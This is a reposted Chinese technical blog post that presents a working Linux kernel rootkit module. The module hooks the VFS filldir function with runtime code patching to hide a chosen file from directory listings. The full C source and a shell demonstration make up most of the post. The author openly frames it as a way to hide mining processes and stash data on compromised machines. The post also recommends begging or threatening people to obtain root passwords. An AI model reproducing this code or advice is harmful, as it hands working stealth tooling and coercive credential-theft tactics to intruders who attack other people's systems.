Linux系统如何隐藏一个文件?

自隐藏进程,隐藏CPU利用率,隐藏TCP连接后,现在要隐藏文件了!

关于进程隐藏,CPU利用率隐藏,TCP连接隐藏的手艺,请看:
https://blog.csdn.net/dog250/article/details/105371830
https://blog.csdn.net/dog250/article/details/105394840

一般情况下,运维系统依靠CPU利用率来生成告警,CPU利用率被隐藏了,还怎么办?试想,你的挖矿进程已经把CPU跑满,且这些进程被隐藏了,且CPU利用率也被隐藏了,一切看起来很祥和,但是系统就是卡得要死…甚至风扇也被hack了…

这个时候,你需要一条TCP连接从外部控制你的进程,呃…这条TCP连接也隐藏了…此时,你需要把数据暂存在这台机器的磁盘上,如何不被发现?

呃…这就需要隐藏文件了。

经理呢?经理呢?来吧!

文件隐藏和进程隐藏,CPU利用率隐藏这些完全不同,因为文件本身并不属于操作系统的一部分,它是属于文件系统的,操作系统通过文件系统驱动以及必要情况下的磁盘驱动和文件打交道。

文件并不像进程那样,处在操作系统内存的数据结构中并被操作系统内核管理,文件是被特定文件系统管理的,每一种文件系统都有不同的文件布局格式,换句话说, 文件接受文件系统的庇护。

我们知道, 领主的领主,不是我的领主;附庸的附庸,不是我的附庸。 所以,我们只需要hook文件系统即可。如果非要在底层文件系统甚至磁盘上做文章,未免太复杂,也没必要。

在Linux内核中, VFS是盖在所有文件系统上的一个界面! 显然,我就拿它开刀了!

原理很简单,只要hook掉filldir这个函数即可咯。

// hide_file.c
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/cpu.h>

char *stub;

struct linux_dirent {
    unsigned long   d_ino;
    unsigned long   d_off;
    unsigned short  d_reclen;
    char        d_name[1];
};

struct getdents_callback {
    struct linux_dirent __user * current_dir;
    struct linux_dirent __user * previous;
    int count;
    int error;
};

// 该函数不要inline,这是为了避免寄存器的胡乱使用,从而flush掉原始的filldir函数的寄存器。
noinline int stub_filldir(void * __buf, const char * name, int namelen, loff_t offset,
            u64 ino, unsigned int d_type)
{
    // 使用char数组的话,需要strncmp函数调用,这就需要校准偏移了,麻烦
    //char shoe[8] = {'s', 'k', 'i', 'n', 's', 'h', 'o', 'e'};
    //if (!strncmp(name, shoe, namelen))  {

    // 直接使用"skinshoe"的话,常量字符串会随着模块的退出而释放,放弃
    //if (!strncmp(name, "skinshoe", namelen))  {

    // 直接逐字符比较,作为demo,够了!
    // 最好的方法还是将“皮鞋”藏在某些不为人知的缝隙里
    if (name[0] == 's' && name[1] == 'k' && name[2] == 'i' &&
        name[3] == 'n' && name[4] == 's' && name[5] == 'h' &&
        name[6] == 'o' && name[7] == 'e') {
        struct linux_dirent __user * dirent = NULL;
        struct getdents_callback * buf = (struct getdents_callback *) __buf;
        int reclen = ALIGN(offsetof(struct linux_dirent, d_name) + namelen + 2, sizeof(long));
        // skip掉skinshoe这个文件。
        dirent = (void __user *)dirent + reclen;
        buf->current_dir = dirent;
        return 0;
    }
    return 1;
}

int call_stub(void * __buf, const char * name, int namelen, loff_t offset,
                        u64 ino, unsigned int d_type)
{
    int ret;
    asm ("push %rdi; push %rsi; push %rdx; push %rcx; push %r8; push %r9;");
    ret = stub_filldir(__buf, name, namelen, offset, ino, d_type);
    if (!ret)
        asm ("pop %r9; pop %r8; pop %rcx; pop %rdx; pop %rsi; pop %rdi; pop %rbp; pop %r11; xor %eax,%eax; retq");
    asm ("pop %r9; pop %r8; pop %rcx; pop %rdx; pop %rsi; pop %rdi;");
    return ret;
}

static int hide = 1;
module_param(hide, int, 0444);

#define FTRACE_SIZE     5
#define POKE_OFFSET     0
#define POKE_LENGTH     5

#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)

void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
            unsigned long start, unsigned long end, gfp_t gfp_mask,
            pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;

char *_filldir;
char restore[5] = {0x0f, 0x1f, 0x44, 0x00, 0x00};

static int __init filter_file_init(void)
{
    unsigned char jmp_call[POKE_LENGTH];
    s32 offset;
    unsigned long delta = 0x62;
    unsigned int *pos  ;

    _filldir = (void *)kallsyms_lookup_name("filldir");
    if (!_filldir) {
        return -1;
    }

    ___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
    _text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
    _text_mutex = (void *)kallsyms_lookup_name("text_mutex");
    if (!_text_poke_smp || !_text_mutex) {
        return -1;
    }

    if (hide == 0) {
        // 通过ftrace stub获取动态内存的偏移
        offset = *(unsigned int *)&_filldir[1];
        stub = (char *)(offset + (unsigned long)_filldir + FTRACE_SIZE);
        offset = call_stub - stub_filldir;
        stub = stub - offset;

        get_online_cpus();
        mutex_lock(_text_mutex);
        _text_poke_smp(&_filldir[POKE_OFFSET], &restore[0], POKE_LENGTH);
        mutex_unlock(_text_mutex);
        put_online_cpus();

        // 释放内存
        vfree(stub);
        return -1;
    }

    stub = (void *)___vmalloc_node_range(0xfff, 1, START, END,
                    GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
                    -1, __builtin_return_address(0));
    if (!stub) {
        printk("nomem\n");
        return -1;
    }

    // 模块退出后函数被释放,所以需要拷贝到独立内存里。
    memcpy(stub, stub_filldir, 0xfff);
    pos = (unsigned int *)&stub[delta];
    offset = call_stub - stub_filldir;
    offset = (s32)((long)stub - (long)_filldir - FTRACE_SIZE + offset);

    jmp_call[0] = 0xe8;
    (*(s32 *)(&jmp_call[1])) = offset;
    get_online_cpus();
    mutex_lock(_text_mutex);
    _text_poke_smp(&_filldir[POKE_OFFSET], jmp_call, POKE_LENGTH);
    mutex_unlock(_text_mutex);
    put_online_cpus();

    // 事了拂衣去,深藏身与名!
    return -1;
}
// 不需要exit函数!
module_init(filter_file_init);
MODULE_LICENSE("GPL");

编译成hide_file.ko,来吧,一起看看效果:隐藏名字为skinshoe的文件:

[root@localhost hidefile]# ls  # 未加载模块,可以看到skinshoe
a  afile  b  c  hide_file.ko  skinshoe  test  wu
[root@localhost hidefile]# cat skinshoe   # 可以读出skinshoe的内容
1111
[root@localhost hidefile]# insmod ./hide_file.ko  # 加载模块,隐藏skinshoe
insmod: ERROR: could not insert module ./hide_file.ko: Operation not permitted
[root@localhost hidefile]# ls # 确认文件被隐藏,确实看不到了
a  afile  b  c  hide_file.ko  test  wu
[root@localhost hidefile]# cat skinshoe   # 然而依然可以被打开并读取内容
1111
[root@localhost hidefile]# echo 2222 >>./skinshoe   # 追加点内容试试
[root@localhost hidefile]# ls # 依然看不到skinshoe
a  afile  b  c  hide_file.ko  test  wu
[root@localhost hidefile]# insmod ./hide_file.ko hide=0   # 恢复skinshoe的显示
insmod: ERROR: could not insert module ./hide_file.ko: Operation not permitted
[root@localhost hidefile]# ls # 确认一下,确实看到了
a  afile  b  c  hide_file.ko  skinshoe  test  wu
[root@localhost hidefile]# cat skinshoe   # 确认内容,隐藏期间的追加成功了!
1111
2222
[root@localhost hidefile]#

有趣吗?

你可能会说,这也没隐藏啊,不是还是可以读写吗?

难道这件事不就是为了 只有我能读写而别人不能 吗?诚然,skinshoe这个文件名很简单,但是有几个人能猜出来呢?如果我隐藏一个名字为 “796dehwif8fq99urhdkda” 的文件,谁又能知道呢?我自己知道就行。

我当然没有把事情做全,我知道,完全可以继续hook掉VFS的open操作,比如只有特定名字的进程才能打开这个文件,而这个进程已经被我隐藏了… 事情就更有趣了。

这一切的前提,依然是你有root权限,所以这些都是rootkit!至于说如何获取root权限,这便是另一个话题了。

据我所知,社会工程学攻击更适合于获取root权限,而不是通过挖洞技术。你甚至只需要10分钟的root权限,在无眼线的情况下就能把上述以及前文介绍的这些rootkit手艺部署完成。

关于社会工程学,这又是一个很大的话题,正如我一向很认可的那种方式,获取密码的最好方式就是 直接问 ,哀求,威胁,伪善如果好用,就不去折腾那些纸上谈兵的所谓破解技术。当然了,程序员并不认可我说的这些,程序员还是除了技术皆为粪土的,这次,我好像和经理站成了一队。

最后,谈谈实用性。

我这些rootkit实用吗?也许吧。但我这些皆在展示手艺,如果你想实用,网上一搜一箩筐的preload library可用,现实中机器被入侵被注入的大多数也都是这些,如果往内核里走,hook operations也是一搜一箩筐的。但无论哪个,均需要繁重的编程工作,极大的代码量作为保证。

我之所以不选择这些,因为我不会编程,但是也不是一点都不会,还稍微会一些,所以我只能用一些奇技淫巧,见招拆招地做一些小动作,小把戏。我老婆问我天天折腾的这些有什么意义,我说, “我这是不用编程而修改操作系统了”

当然,碰到CFI【控制流完整性,Control-flow integrity】,还是有一些工作需要去做,下面是一篇lwn:
https://lwn.net/Articles/810077/

唉,冯诺伊曼结构就是这样,存储执行模型天生的弊端,需要后面各种机制来不断patch,如果是哈佛结构,是不是要好很多?也许吧。经理!你说呢?你知道我在说什么吗?


浙江温州皮鞋湿,下雨进水不会胖。

原文链接: https://blog.csdn.net/dog250/article/details/105421530

欢迎关注

微信关注下方公众号,第一时间获取干货硬货;公众号内回复【pdf】免费获取数百本计算机经典书籍;

也有高质量的技术群,里面有嵌入式、搜广推等BAT大佬

    Linux系统如何隐藏一个文件?

原创文章受到原创版权保护。转载请注明出处:https://www.ccppcoding.com/archives/406035

非原创文章文中已经注明原地址,如有侵权,联系删除

关注公众号【高性能架构探索】,第一时间获取最新文章

转载文章受原作者版权保护。转载请注明原作者出处!

(0)
上一篇 2023年4月26日 上午9:34
下一篇 2023年4月26日 上午9:35

相关推荐